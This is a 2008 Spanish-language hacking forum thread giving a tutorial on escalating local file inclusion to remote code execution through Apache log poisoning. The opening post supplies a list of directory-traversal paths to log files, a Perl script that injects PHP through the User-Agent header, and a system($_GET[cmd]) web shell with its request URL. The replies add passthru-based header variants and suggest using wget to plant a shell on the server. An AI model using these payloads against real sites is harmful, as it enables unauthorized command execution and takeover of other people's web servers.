vZack
Noviembre 19, 2008, 05:15:00 pm *
Bienvenido(a), Visitante. Favor de ingresar o registrarse.

Ingresar con nombre de usuario, contraseña y duración de la sesión
Noticias: Registrate para ver todos los foros
 
   Inicio   Ayuda Ingresar Registrarse  
Páginas: [1]   Ir Abajo
  Imprimir  
Autor Tema: LFI a RCE - Inyectando en logs  (Leído 494 veces)
vZor
Administrator
Dios del caos
******
Desconectado Desconectado

Sexo: Masculino
Mensajes: 223



« en: Julio 30, 2008, 03:46:50 pm »

En este pequeño tuto explicaré como ejecutar codigo php/comandos en una web con lfi inyectando en el log.

¿Que necesitamos?

Una web con LFI
Encontrar el path al log

Procedamos

Lo primero que necesitamos saber es donde esta el log, para ello debemos ir inyectando paths por defecto hasta encontrarlo, a continuacion pongo una lista con algunos paths comunes (access log de apache, pero tambien se puede inyectar en otros logz)

Código:
../apache/logs/access.log
../../apache/logs/access.log
../../../apache/logs/access.log 
../../../../../../../etc/httpd/logs/acces_log 
../../../../../../../etc/httpd/logs/acces.log 
../../../../../../../etc/httpd/logs/error_log 
../../../../../../../etc/httpd/logs/error.log 
../../../../../../../var/www/logs/access_log 
../../../../../../../var/www/logs/access.log 
../../../../../../../usr/local/apache/logs/access_log 
../../../../../../../usr/local/apache/logs/access.log 
../../../../../../../var/log/apache/access_log 
../../../../../../../var/log/apache2/access_log 
../../../../../../../var/log/apache/access.log 
../../../../../../../var/log/apache2/access.log 
../../../../../../../var/log/access_log 
../../../../../../../var/log/access.log 

Una vez lo hemos encontrado, necesitamos inyectar nuestro codigo, lo inyectaremos en el user-agent por ejemplo, para ello podemos usar alguna extension de firefox que nos permita modificarlo, o podemos crearnos una pequeña tool:

Código:
#!/usr/bin/perl
#vZack.com

use IO::Socket;

$pag=$'pagina.com';
$peticion ="GET / HTTP/1.1\nHost: $pag\nUser-Agent: <? phpinfo(); ?>\nConnection: Close\n\n";
$socket=new IO::Socket::INET(PeerAddr=>$pag, PeerPort=>80, Proto=>'tcp');
print $socket $peticion;
close($socket);

Una vez inyectado abrimos la url del lfi con la path del log y vemos que el codigo php ha sido ejecutado  Cheesy

Para por ejemplo ejecutar comandos, podemos inyectar:

Código:
<? system($_GET[cmd]); ?>

y ejecutamos: lfi.php?lfi=../../log&cmd=comando

Esto es todo.

Salu2
En línea

Vengador de las Sombras
Desastre natural
**
Desconectado Desconectado

Mensajes: 9


« Respuesta #1 en: Agosto 13, 2008, 12:58:46 am »

Saludos!


El único problema es que se queda lo ejecutado en mitad de todo el log... en vez de abrir la URL con la inclusión de los logs, podemos hacer un log que contenga:

Código:
<? echo "Empieza"; system($_GET[cmd]); echo "Final"; ?>

Y te codeas un exploit en PERL que haga una petición a la URL montada con la inclusión, y que en lo que le devuelva busque la palabra "Empieza" y muestre el contenido hasta "Final", así obtenemos sólo el output de la ejecución del comando. O tambien te puedes mandar desde el mismo exploit los comandos a través de los Header, creando un log con:

Código:
<? echo "Empieza";  passthru($_SERVER[HTTP_VDLS]); echo "Final"; ?>

Y nosotros mandamos la cabecera añadiendole un VDLS: [comando]-
En línea
vZer
Administrator
Dios del caos
******
Desconectado Desconectado

Sexo: Masculino
Mensajes: 279


WWW
« Respuesta #2 en: Agosto 13, 2008, 02:04:02 am »

Saludos!


El único problema es que se queda lo ejecutado en mitad de todo el log... en vez de abrir la URL con la inclusión de los logs, podemos hacer un log que contenga:

Código:
<? echo "Empieza"; system($_GET[cmd]); echo "Final"; ?>

Y te codeas un exploit en PERL que haga una petición a la URL montada con la inclusión, y que en lo que le devuelva busque la palabra "Empieza" y muestre el contenido hasta "Final", así obtenemos sólo el output de la ejecución del comando. O tambien te puedes mandar desde el mismo exploit los comandos a través de los Header, creando un log con:

Código:
<? echo "Empieza";  passthru($_SERVER[HTTP_VDLS]); echo "Final"; ?>

Y nosotros mandamos la cabecera añadiendole un VDLS: [comando]-


lo peor es si hay varios mb's de logs entonces tardara bastante en mostrar el resultado del comando, lo que podemos hacer es un wget a una shell y bajarla al server, pero para eso hay que tener permisos de escritura
En línea

vZor
Administrator
Dios del caos
******
Desconectado Desconectado

Sexo: Masculino
Mensajes: 223



« Respuesta #3 en: Agosto 13, 2008, 05:08:08 pm »

la verdad es que si hay cientos mb de log es muy incomodo abrirlo con el navegador... pero eso ya va a gusto del consumidor  Grin


Salu2
En línea

Páginas: [1]   Ir Arriba
  Imprimir  
 
Ir a:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.1 | SMF © 2006-2008, Simple Machines LLC XHTML 1.0 válido! CSS válido!